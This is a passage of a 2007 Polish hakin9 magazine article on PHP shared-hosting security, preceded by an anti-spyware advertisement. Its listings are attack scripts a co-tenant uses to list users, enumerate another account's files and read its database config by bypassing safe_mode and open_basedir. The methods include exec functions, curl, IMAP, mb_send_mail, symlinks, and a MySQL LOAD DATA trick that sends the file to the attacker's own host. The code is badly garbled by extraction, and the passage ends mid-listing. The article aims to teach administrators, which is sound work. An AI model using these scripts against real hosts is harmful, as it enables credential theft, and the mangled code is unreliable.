kami spyware. Technologia CRT (

Comprehensive Re-

moval Technology) jak również praca aplikacji klienc-
kich na zasadzie sterowników jądra systemu, pozwa-
la na całkowite usunięcie oraz ochronę przed spywa-
re, bez wpływu na stabilność systemu operacyjne-
go. Spy Sweeper wyróżnia się najniższym na rynku
wskaźnikiem fałszywych alarmów (

false-positive)

wynoszącym 1:1 000 000, dzięki czemu żadna waż-
na dla firmy aplikacja nie zostanie zablokowana lub
usunięta przez program antyszpiegowski.

OCHRONA WSZYSTKICH KOMPONEN-
TÓW SYSTEMU

Spy  Sweeper  zapewnia  kompletną  ochronę  przed
spyware  w  czasie  rzeczywistym.  Monitorowana
jest pamięć komputera oraz Alternative Data Stre-
ams  –  dzięki  czemu  skutecznie  chroni  przed  ro-

otkitami ukrywającymi się w tym obszarze. Moni-
tor  rejestru  analizuje  dokonywane  wpisy,  spraw-
dzając  czy  nowe  lub  istniejące  wpisy,  nie  suge-
rują obecności aplikacji spyware w systemie. Pro-
gram  chroni  ustawienia  przeglądarki  interneto-
wej (m.in. blokuje nieautoryzowane kontrolki Acti-
veX), blokuje nieautoryzowane zmiany w pliku ho-
sts, a także ustawienia autostartu, powiadamiając
administratora o próbach instalacji wrogiego opro-
gramowania.

AKTUALIZACJE BAZY SYGNATUR

Ponieważ  spyware  szybko  ewoluuje,  ważny  jest
dostęp  do  aktualnej  bazy  sygnatur.  Firma  We-
broot  producent  programu  Spy  Sweeper,  jako  je-
dyna  na  rynku  utrzymuje  system  robotów  sie-
ciowych  (

Phileas), nieprzerwanie skanujących

sieć  w  poszukiwaniu  nowych  zagrożeń.  W  efek-
cie  Spy  Sweeper  potrafi  rozpoznać  nowe  zagro-
żenie  dużo  wcześniej,  nim  użytkownik  napotka
je  w  sieci.  Obecnie  Spy  Sweeper  identyfikuje  po-
nad 150 000 zagrożeń typu spyware (koni trojań-
skich,  monitorów  systemu,  rootkitów  czy  aplika-
cji  typu  keylogger)  zajmując  czołowe  pozycje  w
testach  porównawczych  (

m.in. http://anti-spywa-

re-review.toptenreviews.com/).

CENTRALNE ZARZĄDZANIE

Spy  Sweeper  umożliwia  administratorowi  (lub
grupie  administratorów)  zarządzanie  ochroną
antyspyware  na  komputerach  nawet  w  dużych
sieciach  korporacyjnych.  Wszystkie  zadania,  po-
cząwszy  od  instalacji  klientów,  poprzez  konfigu-
rowanie skanowania, automatyczne aktualizacje,
a skończywszy na blokowaniu dostępu do wybra-
nych programów oraz serwisów WWW, realizowa-
ne są z jednego miejsca – centralnej konsoli za-
rządzającej,  dostępnej  również  z  poziomu  prze-
glądarki internetowej.

Rozbudowany system raportowania daje moż-

liwość  szybkiej  oceny  zagrożenia  występującego
w sieci. Program umożliwia wydzielanie serwerów
dystrybucyjnych,  z  których  komputery  użytkow-
ników  będą  pobierały  aktualizacje,  zmniejszając
tym  samym  obciążenie  serwera  głównego.  Kom-

putery przenośne znajdujące się poza siecią fir-
mową mogą pobierać aktualizacje bezpośrednio z
sieci Internet.

ELASTYCZNOŚĆ KONFIGURACJI

Centralna  konsola  pozwala  administratorowi  na
zdefiniowanie domyślnej reakcji na znalezione pro-
gramy spyware. Dostępne są opcje automatyczne-
go usuwania, przenoszenia do kwarantanny, kaso-
wania z kwarantanny po określonej liczbie dni dla
kilku różnych grup wrogich programów. O akcjach
podjętych przez program administrator może być
informowany poprzez e-mail. Większość ustawień
konfiguracyjnych  można  oddać  samym  użytkow-
nikom  komputerów,  odciążając  administratora.  W
razie  potrzeby  administrator  może  jednak  zablo-
kować  możliwość  zmiany  ustawień  przez  użyt-
kownika stacji roboczej, a nawet całkowicie ukryć
przed użytkownikiem aplikację kliencką. Spy Swe-
eper  posiada  bardzo  elastyczny  mechanizm  kon-
figurowania  polityk  bezpieczeństwa,  który  umoż-
liwia  dowolną  konfigurację  uprawnień  użytkowni-
ków. Program umożliwia dowolne skonfigurowanie
portów na jakich działają poszczególne usługi oraz
ma możliwość włączenia szyfrowania SSL w komu-
nikacji  pomiędzy  stacjami  roboczymi,  a  konsolą
zarządzającą  oraz  pomiędzy  konsolą,  a  serwera-
mi firmy Webroot.

UDOSTĘPNIENIE DO TESTÓW

Efektywność  i  wygodę  centralnego  zarządzania
programu Spy Sweeper Enterprise najlepiej spraw-
dzić  testując  go  w  realnych  warunkach  podczas
pracy  w  firmie  –  rozwiązanie  do  testów  udostęp-
nia  DAGMA  Sp.  z  o.o.  –  dystrybutor  firmy  Webro-
ot w Polsce.

Źródło

http://anti-spyware-review.toptenre-

views.com/

Dagma Sp. z o.o.
Pszczyńska 15, 40-478 Katowice
tel. (32) 259 11 00
fax (32)259 11 90
sales@dagma.pl
www.dagma.pl

Kontakt:

Reklama

Tableka 1. Ilość rozpoznawanych zagrożeń

Spy Sweeper

153692

Ad-aware SE/Pro

36254

McAffe Anti-spyware

38996

OCHRONA SIECI FIRMOWEJ PRZED SPYWARE

KLUB TECHNICZNY

www.hakin9.org

hakin9 Nr 3/2007

Obrona

drugiej strony spotykamy programistów
PHP, którzy chcąc nam ułatwić życie, pi-
szą wszelkiej maści, bardziej lub mniej

zaawansowane, płatne lub nie, skrypty PHP
- fora internetowe, księgi gości, systemy CRM,
CMS etc. Czy można im zaufać bezgranicznie?
Oczywiście, że nie, jednak niestety w większo-
ści przypadków takim ślepym zaufaniem są ob-
darzani, bo jaki (normalny) webmaster przeglą-
dać będzie setki, czy nawet tysiące linii skryp-
tu PHP, skoro sama ich instalacja może zabrać
całkiem niemało czasu?

Te dwa zagadnienia będą dla nas istotne w

niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczeństwa internetowych serwi-
sów WWW opartych o skryptowy język PHP.

Na czym polega główny problem?
Prawie wszystkie serwisy PHP są w jakiś

sposób moderowane i w jakiś sposób składu-
ją  dane.  Najczęściej  informacje  o  użytkowni-
kach  i  ich  hasłach,  artykułach,  produktach  et
cetera składowane są w bazach danych SQL.
Skrypt  chcąc  się  połączyć  z  ową  bazą  musi
znać  do  niej  co  najmniej  login  i  hasło,  co  za-
pisywane jest w odpowiednim pliku konfigura-
cyjnym  (przeważnie  config.php).  Często  ha-
sło do bazy jest identyczne z hasłem do kon-

ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minając o tym, że również może pokrywać się
z innymi hasłami konkretnego użytkownika na
innych serwerach czy też w bankach (któż spa-
mięta tak wiele haseł?), zatem ich bezpieczeń-
stwo trzeba przyjąć za kluczowe.

Sytuacja na serwerze

Korzystając

niewielkiego

uproszcze-

nia,  możemy  przyjąć  dwa  możliwe  warian-
ty  uruchamiania  skryptów  PHP  –  PHP  uży-
te  jako  moduł  demona  WWW  (mod_php),  co

Bezpieczeństwo kont PHP

Paweł Maziarz

stopień trudności

PHP zawładnęło Internetem. Rynek dynamicznych serwisów

internetowych bazuje na tym języku skryptowym, tak jak część

witryn komercyjnych. Firmy hostingowe prześcigają się w

przekonywaniu klientów, proponując PHP4 lub PHP5, alternatywne

serwery baz danych, korzystniejszą pojemność konta. Czy nie

zapominają o bezpieczeństwie pojedynczego konta?

Z artykułu dowiesz się...

• jakie są możliwości obejścia zabezpieczeń

PHP

• na jakie funkcje PHP należy zwrócić szczegól-

ną uwagę w skryptach z różnych źródeł

Co powinieneś wiedzieć...

• powinieneś znać podstawy programowania w

języku PHP

• powinieneś mieć pojęcie o systemach Linux/

Unix

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

oznacza, że właścicielem każde-
go procesu jest ten sam użytkownik,
z którego sprzętu uruchamiana jest

usługa  WWW  (najczęściej  apache,
nobody,  www  albo  www-data)  lub
PHP  uruchamiane  jako  skrypt  CGI/

FastCGI, co powoduje, że właścicie-
lem procesu jest właściciel konkretne-
go skryptu. W pierwszym przypadku,
po umieszczeniu skryptu na serwerze
należy mu dać prawa do odczytu dla
wszystkich (np. chmod 644 plik.php),
widać  zatem,  że  system  operacyjny
nie  będzie  miał  nic  przeciw,  by  kto-
kolwiek  inny  niż  właściciel  przeczy-
tał ten plik. W przypadku drugim nato-
miast nikt poza właścicielem skryptu
nie musi mieć prawa do jego odczytu,
w praktyce jednak rzadko spotyka się
tak  samolubnych  użytkowników,  a  z
drugiej strony i tak pozostają jeszcze
prywatne pliki użytkownika, które nie
są  skryptami  PHP,  a  więc  by  mogły
być serwowane przez usługę WWW,
muszą mieć one zatem prawa dostę-
pu jak w przypadku pierwszym.

Nasz mały teatrzyk

W celu uwidocznienia problemu, zor-
ganizujemy niewielki teatrzyk. Głów-
ne role w naszym przedstawieniu bę-
dą odgrywać użytkownicy:

• www-data – użytkownik, z którego

uruchamiany jest demon WWW
(Apache2),

O autorze

Autor jest właścicielem i jednocześnie jednym z głównych programistów firmy tworzą-
cej między innymi oprogramowanie PHP. Od kilku lat współpracuje również z firmami
hostingowymi w charakterze administratora. Kontakt z autorem: pawel.maziarz@in-
tersim.pl.

Listing 1.

fragment pliku /etc/passwd

www-data:x:33:33:www-data:/var/www:/bin/false
mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false

Rysunek 1.

Zrzut ekranu przedstawiający wykorzystanie błędu w użyciu funkcji include

Dyrektywy safe_mode

•

safe_mode

– włącz lub wyłącz safe_mode

•

safe _ mode _ gid

– sprawdzaj grupę pliku zamiast jego właściciela

•

safe _ mode _ include _ dir

– pomiń sprawdzanie użytkownika/grupy dla plików

z podanych katalogów

•

safe _ mode _ exec _ dir

– ogranicz funkcje uruchamiające programy jak exec()

do uruchamiania programów z podanego katalogu

•

safe _ mode _ allowed _ env _ vars

– zezwól użytkownikowi na zmianę wartości

zmiennych zaczynających się podanym prefiksem

•

safe _ mode _ protected _ env _ vars

– zabroń użytkownikowi zmiany wartości

zmiennych zaczynających się podanym prefiksem

hakin9 Nr 3/2007

www.hakin9.org

Obrona

• mieciu – dr Mieczysław, uczci-

wy pracownik jednej z wyższych
uczelni, posiadający na serwerze
forum dostępne tylko dla swoich
współpracowników, na którym
szczegółowo omawiają oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkówki,

• haker – student doktora Mieczy-

sława,  który  pozyskał  konto  na
tym  samym  serwerze,  co  jego
wykładowca,  w  celu  umożliwie-
nia  sobie  uczestnictwa  (choćby
biernego)  w  dyskusjach  tej  eli-
tarnej  grupy.  Listing  1  pokazuje
część pliku /etc/passwd dotyczą-
cą tych trzech użytkowników.

Przedstawienie

czas zacząć

Haker wie, że forum doktora Mieczy-
sława  znajduje  się  na  serwerze,  na
którym właśnie sam pozyskał konto.
Wie, że korzysta on z bazy danych.
Zdaje sobie też sprawę z tego, że by
osiągnąć  swój  cel  musi  zdobyć  do-
stęp do tej bazy. Wie, że login i hasło
do  niej  znajdują  się  na  koncie  dok-
tora w jednym z plików konfiguracyj-
nych. Nie wie jednak pod jakim logi-
nem  widnieje  wykładowca  w  syste-
mie ani tego gdzie poszukiwania ha-
seł zacząć. Wie natomiast, że jeże-
li zobaczy listę użytkowników, od ra-
zu pozna login należący do doktora.
Pisze więc prosty skrypt includepas-
swd.php, który wyświetli przeglądar-
ce zawartość pliku /etc/passwd – Li-
sting 2.

Po wpisaniu adresu skryptu w

przeglądarce,  czeka  go  jednak  z
pewnością  widok  jednego  z    komu-
nikatów,  które  przedstawia  Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa

safe _ mode

, za dru-

open _ basedir

, które są powszech-

nie używane.

safe_mode

Dyrektywa

safe _ mode

jest jedną z

prób rozwiązania problemu dzielenia
jednego  systemu  przez  wielu  użyt-
kowników.  Ma  na  celu  ograniczenie
dostępu  do  zasobów  danego  użyt-
kownika wyłącznie dla ich właścicie-
la.  Najbardziej  charakterystycznym
efektem uruchomienia tej dyrektywy,

jest  każdorazowe  sprawdzanie,  czy
właściciel  otwieranego  pliku  bądź
katalogu  jest  właścicielem  skryptu,
z  którego  zasób  jest  otwierany.  Je-
żeli  nie  jest,

safe _ mode

zakomuni-

kuje ostrzeżenie jak powyżej i ope-
racja zakończy się niepowodzeniem.

safe _ mode

posiada też kilka bardziej

wyspecjalizowanych dyrektyw, które
przedstawione są w ramce.

open_basedir

Dyrektywa

open _ basedir

ogra-

nicza dostęp do plików i katalo-
gów do podanej ścieżki. Jeżeli plik
bądź katalog znajduje się poza nią,

Lista funkcji POSIX :

•

posix_access

– sprawdź dostęp do pliku

•

posix _ ctermid

– podaj ścieżkę kontrolującego terminala

•

posix _ get _ last _ error

-- podaj numer błędu ostatniej funkcji POSIX

•

posix _ getcwd

– podaj bieżący katalog

•

posix _ getegid

– podaj efektywny ID bieżącego procesu

•

posix _ geteuid

– podaj efektywny ID użytkownika bieżącego procesu

•

posix _ getgid

– podaj prawdziwy ID grupy bieżącego procesu

•

posix _ getgrgid

– pobierz informacje na temat grupy o podanym ID

•

posix _ getgrnam

– pobierz informacje na temat grupy o podanej nazwie

•

posix _ getgroups

– podaj listę grup bieżącego procesu

•

posix _ getlogin

– podaj nazwę użytkownika

•

posix _ getpgid

– podaj grupę procesu podanego jako argument

•

posix _ getpgrp

– podaj identyfikator grupy bieżącego procesu

•

posix _ getpid

– podaj aktualny PID procesu

•

posix _ getppid

– podaj PID procesu-rodzica

•

posix _ getpwnam

– podaj informacje o użytkowniku o podanej nazwie

•

posix _ getpwuid

– podaj informacje o użytkowniku o podanym ID

•

posix _ getrlimit

– podaj informacje o limitach systemowych

•

posix _ getsid

– podaj SID procesu

•

posix _ getuid

– podaj prawdziwy ID użytkownika bieżącego procesu

•

posix _ isatty

– sprawdź, czy identyfikator pliku jest interaktywnym terminalem

•

posix _ kill

– wyślij sygnał do procesu

•

posix _ mkfifo

– stwórz potok fifo

•

posix _ mknod

– stwórz specjalne urządzenie

•

posix _ setegid

– ustaw efektywną grupę bieżącego procesu

•

posix _ seteuid

– ustaw efektywnego użytkownika procesu

•

posix _ setgid

– ustaw grupę bieżącego procesu

•

posix _ setpgid

– ustaw grupę group id for job control

•

posix _ setsid

– ustaw bieżący proces liderem sesji

•

posix _ setuid

– ustaw UID bieżącego procesu

•

posix _ strerror

– podaj tekst błędu o podanym jako argument numerze

•

posix _ times

– podaj wyznaczniki czasowe procesu

•

posix _ ttyname

– podaj nazwę urządzenia terminala

•

posix _ uname

– podaj informacje o systemie

Funkcje uruchamiające programy

•

exec

– uruchom program, zapisz wyjście oraz kod powrotu do zmiennych, zwróć

ostatnią linijkę wyjścia

•

passthru

– uruchom program, wyświetl jego wyjście, zapisz kod powrotu

•

system

– uruchom program, wyświetl wyjście, zapisz kod powrotu, zwróć ostatnią

linijkę wyjścia

•

shell _ exec

(lub `polecenie`) - uruchom program, zwróć całe wyjście

•

popen

– uruchom program, stwórz do niego potok, zwróć wskaźnik do plik (taki jak

przy funkcji fopen)

•

proc _ open

– podobnie jak popen, ale z dwukierunkową komunikacją

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

wyświetlany  jest  odpowiedni  komu-
nikat  i  operacja  kończy  się  niepo-
wodzeniem. Najczęściej każdy użyt-
kownik  posiada  na  serwerze  odpo-
wiednio zdefiniowaną ścieżkę w dy-
rektywie open_basedir.

Można więc poczynić wnioski, że

na serwerze, na którym te dyrektywy
albo chociaż

open _ basedir

są zde-

finiowane, użytkownik ma dostęp do
plików tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopuśćmy zatem okoliczność, że na
serwerze ustawione są odpowiednio
obie restrykcje i dajmy hakerowi się
wykazać.

Haker posługuje się więc alterna-

tywną metodę odczytania pliku /etc/

passws, tworząc tym samym skrypt

posixcatpasswd.php przedstawiony
na Listingu 3.

Po wpisaniu adresu tego skryp-

tu,  w  przeglądarce  będzie  się  suk-
cesywnie, linijka po linijce, ukazywać
zawartość  pliku  /etc/passwd,  który
zawiera informacje o użytkownikach.
Efekt taki haker uzyskał dzięki funkcji
posix_getpwuid,  zwracającej  infor-
macje  o  użytkowniku,  którego  iden-
tyfikator podany zostanie jako argu-
ment. Wykorzystując pętle for z war-
tościami  z  zakresu  0-65535,  haker
jest pewien, że zostanie wyświetlona
lista wszystkich użytkowników z uni-
katowymi identyfikatorami UID.

Funkcja

posix _ getpwuid

należy

do rodziny funkcji POSIX, które prze-
ważnie  są  wkompilowane  domyślnie
w  pakiety  binarne  z  PHP.  By  skom-
pilować PHP bez modułu POSIX, wy-
starczy przed kompilacją PHP dodać
do linii polecenia configure przełącz-
nik –disable-posix. Trzeba dodać, że
funkcje  POSIX  nie  biorą  pod  uwagę
żadnych  testów  wynikających  z  dy-
rektyw open_basedir bądź safe_mo-
de, więc jedyne zabezpieczenie przed
nimi to wyłączenie podczas kompila-
cji,  bądź  dodanie  ich  do  dyrektywy

disabled _ functions

z php.ini.

W ramce obok przedstawione są

wszystkie funkcje POSIX (nie są one
dostępne na platformie Windows).

Napastnik tym sposobem roz-

poznał od razu, że login dokto-
ra Mieczysława to mieciu i wie już,

Rysunek 2.

Zrzut ekranu przedstawiający działanie funkcji eval

Listing 2.

skrypt includepasswd.php wyświetlający plik /etc/passwd

php

header

(

"Content-type: text/plain"

)

;

include

(

"/etc/passwd"

)

;

Listing 3.

skrypt posixcatpasswd.php

<?php

header

(

"Content-type: text/plain"

)

;

for

(

$uid

= 0;

$uid

= 65535; $uid++) {

if (($pw = posix_getpwuid($uid))) {

echo implode(

":"

, $pw) .

"\n"

;

flush();

}

}
?

Listing 4.

globtest.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$files

= glob

(

„/home/users/mieciu/*”

)

;

Listing 5.

skrypt globshowsomefiles.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$dir

(

isset

(

$_GET

[

'd'

]))

$_GET

[

'd'

]

;

for

(

= 65;

= 90; $i++) {

glob(

"$dir/"

. strtolower(chr($i)) .

"*"

);

glob(

"$dir/"

. chr($i) .

"*"

);

}
?

hakin9 Nr 3/2007

www.hakin9.org

Obrona

że  jego  katalogiem  domowym  jest
/home/users/mieciu/.  Nie  może  jed-
nak w tradycyjny sposób (czyli za po-
mocą  funkcji  opendir/readdir)  pobrać
zawartości  katalogu  domowego  dok-
tora,  ponieważ  nie  pozwoli  na  to  dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, która zwraca listę
plików  pasujących  do  wyrażenia,  ja-
kie się jej poda, np. konstrukcja $ob-

razki_jpg  =  glob(„img/*.jpg”);  zwró-
ci  w  tablicy  nazwy  wszystkich  plików
z rozszerzeniem .jpg w katalogu img.
Ale  czy  wcześniej  omówione  zabez-
pieczenia  PHP  nie  powstrzymają  jej
w  razie  próby  penetracji  katalogu  in-
nego  użytkownika?  Przeciwnie!  Zro-
bią to. I dadzą nam to wyraźnie do zro-
zumienia. Bardzo wyraźnie. Spójrzmy
na Listing 4 przedstawiający działanie
tej funkcji.

Pierwsze dwie linijki skryp-

tu  globtest.php  występują  w  celu
upewnienia  się,  że  PHP  wyświetli
nam  wszystkie  błędy  i  ostrzeżenia.
Ostatnia  natomiast  próbuje  zapisać
w zmiennej $files tablicę z nazwami
plików i katalogów użytkownika mie-
ciu, jednak zamiast tego wyświetli ta-
kie ostrzeżenie:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on
line 5

Dzięki  użyciu  gwiazdki,  funkcja
glob  dopasowała  pierwszy  katalog
u  doktora  Mieczysława,  następnie
zajął  się  nim  open_basedir  spraw-
dzając, czy jest on dostępny dla ha-
kera, a jako, że oczywiście nie jest,
PHP  odpowiednio  to  zakomuniko-
wał,  podając  w  ostrzeżeniu  nazwę
pliku.  Idąc  tym  tropem,  można  ła-
two zgadnąć, że zapis glob(„/home/

users/mieciu/a*”);  wyświetli  ostrze-
żenie o braku dostępu do pierwsze-
go  pliku  rozpoczynającego  się  lite-
rą a, o ile taki będzie istniał. Haker
tworzy  wtedy  szybko  skrypt  glob-
showsomefiles.php  przedstawiony
na Listingu 5.

Po wejściu hakera na stronę http:/

/serwer/globshowsomefiles.php?d=/

home/users/mieciu, w przeglądarce
wyświetlą się mu pierwsze pliki za-
czynające się od małej lub dużej lite-
ry (Listing 21).

Jak widać, dzięki funkcji glob

można poznać ścieżki prywatnych
plików użytkownika, na przykład ma-
teriałów czy zdjęć, do których ad-
res znają tylko nieliczne uprawnione
przez niego osoby. Idąc tym tropem,

Listing 6.

skrypt runlola.php

php

header

(

"Content-type: text/plain"

)

;

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

echo

"exec()

;

(

exec

(

"cat

$file

$ret

))

{

$buf

join

(

$ret

)

;

echo

$buf

;

}

echo

"system()

;

$ret

= system

(

"cat

$file

)

;

echo

$ret

;

echo

"shell_exec()

;

$ret

= shell_exec

(

"cat

$file

)

;

echo

$ret

;

echo

"passthru()

;

passthru

(

"cp

$file

/tmp/.passthrutest"

)

;

readfile

(

"/tmp/.passthrutest"

)

;

unlink

(

"/tmp/.passthrutest"

)

;

echo

"popen()

;

$fp

= popen

(

"cat

$file

"r"

)

;

while

((

$buf

fgets

(

$fp

, 4096

)))

echo

$buf

;

pclose

(

$fp

)

;

(

function_exists

(

"proc_open"

))

{

echo

"proc_open

;

$descriptorspec

array

(

0 =

array

(

"pipe"

"r"

)

1 =

array

(

"pipe"

"w"

)

2 =

array

(

"pipe"

"w"

))

;

$po

= proc_open

(

"cat

$file

$descriptorspec

$pipes

)

;

while

((

$buf

fgets

(

$pipes

[

]

, 4096

)))

echo

$buf

;

proc_close

(

$po

)

;

}
?>

Listing 7.

skrypt curlread.php

php

(

function_exists

(

"curl_init"

))

{

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

$ci

= curil_init

(

"file://

$file

)

;

echo

curl_exec

(

$ci

)

;

}

else

echo

"brak rozszerzenia curl."

;

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

haker znajduje katalog home/users/

mieciu/public_html/forum/, a w nim
plik cfg.php:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/public_html/
forum/cfg.php) is not within the
allowed path(s): (/tmp:/home/users/
haker) in /home/users/haker/
public_html/globtest.php on line 8

Odnalezienie tego pliku, to już poło-
wa sukcesu, wystarczy go już teraz

tylko  odczytać.  Naturalnie  funkcja
glob  już  w  tym  nie  pomoże.  Trzeba
po  raz  kolejny  przechytrzyć

open _

basedir

safe _ mode

Rodzina funkcji exec

PHP,  jak  każdy  język  programowa-
nia, oferuje możliwość uruchamiania
zewnętrznych  aplikacji.  Jest  to  bar-
dzo przydatna cecha, a niekiedy nie-
zbędna,  na  przykład  wówczas,  gdy
PHP skompilowane jest bez obsługi
GD - rozszerzenia do manipulowania
grafiką. Powszechnie używa się ko-

mend wchodzących w skład popular-
nego  pakietu  ImageMagick  (między
innymi  polecenia  convert,  identify).
Jest to też znaczące udogodnienie w
przypadku konwertowania klipów fil-
mowych  (polecenie  mencoder),  czy
w końcu, kiedy skrypty używają wła-
snego  autorskiego  oprogramowania
(na  przykład  do  zmiany  hasła  użyt-
kowników poprzez interfejs WWW).

Oczywistym jest jednak fakt, że

możliwość uruchamiania progra-
mów wiąże się z istotną konsekwen-
cją, mianowicie taką, że dyrekty-
wy

open _ basedir

oraz

safe _ mode

nie są w stanie sprawdzać czy, i ja-
kie pliki otwierają uruchamiane pro-
gramy. Istnieje jednak dyrektywa

safe _ mode _ exec _ dir

, definiująca

ścieżkę, w której muszę znajdować
się programy, które użytkownik chce
uruchomić. Aby jednak

safe _ mode _

exec _ dir

zadziałało, musi być włą-

czone samo safe_mode (z czego tak
naprawdę  wielu  administratorów  re-
zygnuje,  bo  przysparza  to  de  facto
więcej  problemów  niż  korzyści).  Al-
ternatywnym  rozwiązaniem  dla  ad-
ministratora  jest  dodanie  tych  funk-
cji do dyrektywy PHP disable_func-
tions,  która  wyłącza  je  z  użycia,  a
jako,  że  można  to  zrobić  poniekąd
niezależnie  dla  każdego  użytkow-
nika,  okazuje  się  to  często  stoso-
waną  praktyką.  Funkcje  służące  do
uruchamiania  programów  przedsta-
wione  są  wraz  z  krótkim  opisem  w
ramce.

Haker tworzy więc skrypt runlo-

la.php, który testuje po kolei funkcje
opisane powyżej – Listing 6.

Jak się jednak okazuje, admini-

strator przewidział takie zachowania
hakera i jednym ze wspomnianych
wcześniej sposobów uchronił dokto-
ra Mieczysława przed atakiem tego
typu. Przed hakerem ciągle stoi więc
nie lada wyzwanie.

Rozszerzenia PHP

Może dyrektywy open_basedir i sa-
fe_mode  mają  szansę  się  spraw-
dzić  w  wielu  przypadkach,  jednak
niekwestionowanym  tego  warun-
kiem  jest  konieczność  wykonywa-
nia  odpowiednich  testów  wszędzie
tam, gdzie dana funkcja ma kontakt

Listing 8.

imaptest.php

php

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

(

function_exists

(

"imap_open"

))

{

$stream

= imap_open

(

$file

)

print_r

(

imap_errors

())

;

(

$stream

)

{

echo

imap_body

(

$stream

, 1

)

;

imap_close

(

$stream

)

;

}

else

echo

"brak funkcji imap"

;

Listing 9.

mysqlloaddatalocal.php

php

header

(

"Content-type: text/plain"

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

$mysqluser

"haker"

;

$mysqlpass

"tajnehaslo"

;

$mysqlbase

"haker"

;

$mysqlhost

=”host.hakera.pl

if (function_exists("

mysql_connect

")) {

if (!mysql_connect(

$mysqlhost

$mysqluser

$mysqlpass

))

echo mysql_error();
else {
mysql_select_db(

$mysqlbase

);

mysql_query("

CREATE TABLE mysqldatatest

(

blah LONGBLOB

)

") or

print(mysql_error());

mysql_query("

LOAD DATA LOCAL INFILE

'$file'

INTO TABLE mysqldatatest

LINES TERMINATED BY

'hakervsmieciu'") or print(mysql_

error());

$res

= mysql_query("

SELECT blah FROM mysqldatatest

") or print(mysql_

error());

while ((

$row

= mysql_fetch_assoc(

$res

)))

echo

$row

blah

"];

mysql_free_result(

$res

);

mysql_query("

DROP TABLE

EXISTS mysqldatatest

");

mysql_close();
}
}
else
echo "

brak rozszerzenia mysql.";

hakin9 Nr 3/2007

www.hakin9.org

Obrona

z plikami. O ile w większości rozsze-
rzeń  PHP  jest  to  zrobione  jak  nale-
ży, o tyle co jakiś czas odkrywane są
braki takich testów w niektórych bar-
dziej  lub  mniej  popularnych  rozsze-
rzeniach.  Przeważnie  zdarza  się  to
wskutek  zaniedbania  programisty,
jednak czasem może okazać się też
po  prostu  niemożliwe  do  zaimple-
mentowania.

Do niedawna takim zaniedba-

niem  mogło  się  niechlubnie  szczy-
cić  rozszerzenie  CURL,  służące  do
pobierania  plików  za  pomocą  wielu
możliwych  protokołów  –  http,  https,

ftp, gopher, telnet, ldap, dict, a także

file – czyli lokalny dostęp do plików.
Skrypt  wykorzystujący  takie  niedo-
ciągnięcie  mógłby  więc  wyglądać
jak  curlread.php  przedstawiony  na
Listingu 7.

Brak odpowiednich testów zdia-

gnozowano  również  stosunkowo
niedawno  w  funkcjach  rozszerze-
nia  IMAP,  służącego  do  dostępu
do  skrzynek  lokalnych  pocztowych,
IMAP, POP3 oraz NNTP. Zaniedba-
nie  w  funkcjach  imap_open  oraz

imap_reopen można było wykorzy-
stać w przedstawiony na Listingu 8
skrypcie.

Ciekawe zjawisko można było

również  do  niedawna  zaobserwo-
wać w funkcjach obsługujących bazę
MySQL.  Istnieje  bowiem  dla  tej  ba-
zy  możliwość  uzupełnienia  określo-
nej tabeli danymi z pliku znajdujące-
go się na komputerze klienta, służy
do tego zapytanie LOAD DATA LO-
CAL INFILE plik INTO TABLE tabe-
la.  Można  więc  było  stworzyć  tym-
czasową  tabelkę  na  dowolnym  ser-
werze  z  bazą  MySQL  (zdalnym  lub
lokalnym), połączyć się z nią, a na-
stępnie wykonać przedstawione wy-
żej zapytanie, po czym odczytać za-
wartość pliku z tabelki. Działanie ta-
kie przedstawione jest na Listingu 9.

Jednakże programiści PHP zde-

cydowali się ostatnio na bezkompro-
misowe rozwiązanie tego problemu
i w momencie kiedy używana jest
dyrektywa

open _ basedir

, ustawia-

na jest przy łączeniu z bazą danych
opcja niepozwalająca tworzyć zapy-
tań z tą konstrukcją (a żeby zapyta-
nie się powiodło, musi być na to po-

Listing 10.

skrypt mbsendmailtest.php

php

header

(

"Content-type: text/plain"

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

(

function_exists

(

"mb_send_mail"

))

{

mb_send_mail

(

NULL, NULL, NULL, NULL,

"-C

$file

-X /tmp/.mb_send_mail"

)

;

(

file_exists

(

"/tmp/.mb_send_mail"

))

{

readfile

(

"/tmp/.mb_send_mail"

)

;

unlink

(

"/tmp/.mb_send_mail"

)

;

}

else

echo

"brak funkcji mb_send_mail"

;

Listing 11.

symlinksfun.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

"tango"

)

;

symlink

(

"tango/../../../../../"

"cash"

)

;

echo

"pierwszy dostep

katalogu cash...

print_r(glob("

cash/*

"));

unlink("

tango

");

symlink("

", "

tango

");

echo "

drugi dostep

katalogu cash...

print_r(glob("

cash/*"

))

;

Listing 12.

alternatelinks.php

php

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

"tango"

)

;

symlink

(

"tango/../../../../../"

"cash"

)

;

while

(

)

{

unlink

(

"tango"

)

;

symlink

(

"."

"tango"

)

;

unlink

(

"tango"

)

;

symlink

(

